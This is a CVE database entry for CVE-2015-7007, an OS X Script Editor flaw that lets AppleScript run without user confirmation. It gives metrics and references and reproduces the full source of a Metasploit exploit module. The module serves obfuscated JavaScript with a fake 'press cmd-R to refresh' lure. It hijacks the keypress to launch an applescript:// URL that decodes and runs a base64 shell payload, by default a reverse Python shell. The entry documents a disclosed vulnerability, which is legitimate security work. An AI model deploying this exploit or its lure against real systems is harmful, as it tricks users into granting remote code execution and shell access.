CVE-2015-7007 : Detail

CVE-2015-7007

97.21%V3
Network
2015-10-23
19h00 +00:00
2016-12-22
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Script Editor in Apple OS X before 10.11.1 allows remote attackers to bypass an intended user-confirmation requirement for AppleScript execution via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38535

Publication date : 2015-10-25 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserExploitServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari User-Assisted Applescript Exec Attack', 'Description' => %q{ In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'osx'], 'Compat' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2015', 'Author' => [ 'joev' ], 'References' => [ [ 'CVE', '2015-7007' ], [ 'URL', 'https://support.apple.com/en-us/HT205375' ] ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, :os_name => OperatingSystems::Match::MAC_OSX } )) register_options([ OptString.new('CONTENT', [false, "Content to display in browser", "This page has failed to load. Press cmd-R to refresh."]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end def on_request_exploit(cli, request, profile) print_status("Sending #{self.name}") send_response_html(cli, exploit_html) end def exploit_html "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>" end def exploit_js js_obfuscate %Q| var as = Array(150).join("\\n") + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); window.onkeydown = function(e) { if (e.keyCode == 91) { window.location = url; } }; | end def sh 'killall "Script Editor"; nohup ' + payload.encoded end def content datastore['CONTENT'] end end

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.0

References

https://support.apple.com/HT205375
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/38535/
Tags : exploit, x_refsource_EXPLOIT-DB